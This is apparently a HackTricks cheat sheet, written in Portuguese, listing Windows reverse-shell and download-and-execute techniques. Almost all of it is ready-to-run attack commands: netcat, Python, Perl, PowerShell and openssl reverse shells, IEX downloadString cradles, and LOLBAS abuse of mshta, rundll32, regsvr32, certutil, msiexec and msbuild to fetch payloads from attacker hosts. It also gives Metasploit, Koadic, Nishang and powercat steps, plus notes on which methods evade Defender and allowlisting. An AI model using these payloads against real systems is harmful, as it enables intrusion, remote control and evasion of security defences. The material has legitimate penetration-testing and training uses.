# Shells - Windows {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Lolbas A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para Linux.\ Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (ab)usados para realizar algum tipo de ações inesperadas, como **executar código arbitrário.** ## NC ```bash nc.exe -e cmd.exe ``` ## NCAT vítima ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` atacante ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` ## SBD **[sbd](https://www.kali.org/tools/sbd/) é uma alternativa portátil e segura ao Netcat**. Funciona em sistemas semelhantes ao Unix e Win32. Com recursos como criptografia forte, execução de programas, portas de origem personalizáveis e reconexão contínua, o sbd oferece uma solução versátil para comunicação TCP/IP. Para usuários do Windows, a versão sbd.exe da distribuição Kali Linux pode ser usada como um substituto confiável para o Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n listening on port 4444 # Atackers sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` ## Python ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ## Perl ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## Lua ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## OpenSSH Atacante (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` Vítima ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## Powershell ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` Processo realizando chamada de rede: **powershell.exe**\ Payload escrito no disco: **NÃO** (_pelo menos em nenhum lugar que eu consegui encontrar usando procmon!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` Processo realizando chamada de rede: **svchost.exe**\ Payload escrito no disco: **Cache local do cliente WebDAV** **Uma linha:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` **Obtenha mais informações sobre diferentes Shells do Powershell no final deste documento** ## Mshta * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` ```bash mshta http://webserver/payload.hta ``` ```bash mshta \\webdavserver\folder\payload.hta ``` #### **Exemplo de shell reversa hta-psh (use hta para baixar e executar backdoor PS)** ```xml ``` **Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager hta** #### exemplo hta [**Daqui**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml ``` #### **mshta - sct** [**Daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml ``` #### **Mshta - Metasploit** ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit ``` ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` **Detectado pelo defensor** ## **Rundll32** [**Exemplo de dll hello world**](https://github.com/carterjones/hello-world-dll) * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` **Detectado pelo defensor** **Rundll32 - sct** [**Daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml ``` #### **Rundll32 - Metasploit** ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` **Rundll32 - Koadic** ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 set ENDPOINT sales run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` ## Regsvr32 * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` **Detectado pelo defensor** #### Regsvr32 -sct [**Daqui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup ``` #### **Regsvr32 - Metasploit** ```bash use multi/script/web_delivery set target 3 set payload windows/meterpreter/reverse/tcp set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` **Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager regsvr** ## Certutil * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) Baixe um B64dll, decodifique-o e execute-o. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` Baixe um B64exe, decodifique-o e execute-o. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` **Detectado pelo defensor** ## **Cscript/Wscript** ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` **Cscript - Metasploit** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` **Detectado pelo defensor** ## PS-Bat ```bash \\webdavserver\folder\batchfile.bat ``` Processo realizando chamada de rede: **svchost.exe**\ Carga útil escrita no disco: **Cache local do cliente WebDAV** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` ``` ```bash \\10.8.0.3\kali\shell.bat ``` **Detectado pelo defensor** ## **MSIExec** Atacante ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` Vítima: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` **Detectado** ## **Wmic** * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` Exemplo de arquivo xsl [a partir daqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml ``` **Não detectado** **Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager wmic** ## Msbuild * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` Você pode usar essa técnica para contornar a Lista de Permissão de Aplicativos e as restrições do Powershell.exe. Como você será solicitado a usar um shell PS.\ Basta baixar isso e executá-lo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` **Não detectado** ## **CSC** Compile o código C# na máquina da vítima. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` Você pode baixar um shell reverso básico em C# daqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Não detectado** ## **Regasm/Regsvc** * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` **Eu não tentei** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf * [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` **Eu não tentei** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) ## Shells do Powershell ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) Na pasta **Shells**, há muitas shells diferentes. Para baixar e executar Invoke-_PowerShellTcp.ps1_, faça uma cópia do script e anexe ao final do arquivo: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` Comece a servir o script em um servidor web e execute-o no lado da vítima: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` O Defender não o detecta como código malicioso (ainda, 03/04/2019). **TODO: Verificar outras shells nishang** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) Baixe, inicie um servidor web, inicie o listener e execute-o no lado da vítima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` Defender não o detecta como código malicioso (ainda, 3/04/2019). **Outras opções oferecidas pelo powercat:** Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd Send a cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: powercat -l -p 443 -i C:\inputfile -rep ``` ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) Crie um lançador de powershell, salve-o em um arquivo e faça o download e execute-o. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` **Detectado como código malicioso** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) Crie uma versão em powershell do backdoor do metasploit usando unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` Inicie o msfconsole com o recurso criado: ``` msfconsole -r unicorn.rc ``` Inicie um servidor web servindo o _powershell\_attack.txt_ e execute na vítima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` **Detectado como código malicioso** ## Mais [PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos PS ofensivos pré-carregados (cifrado)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos PS ofensivos e detecção de proxy (IEX) ## Referências * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) * [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) * [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/) * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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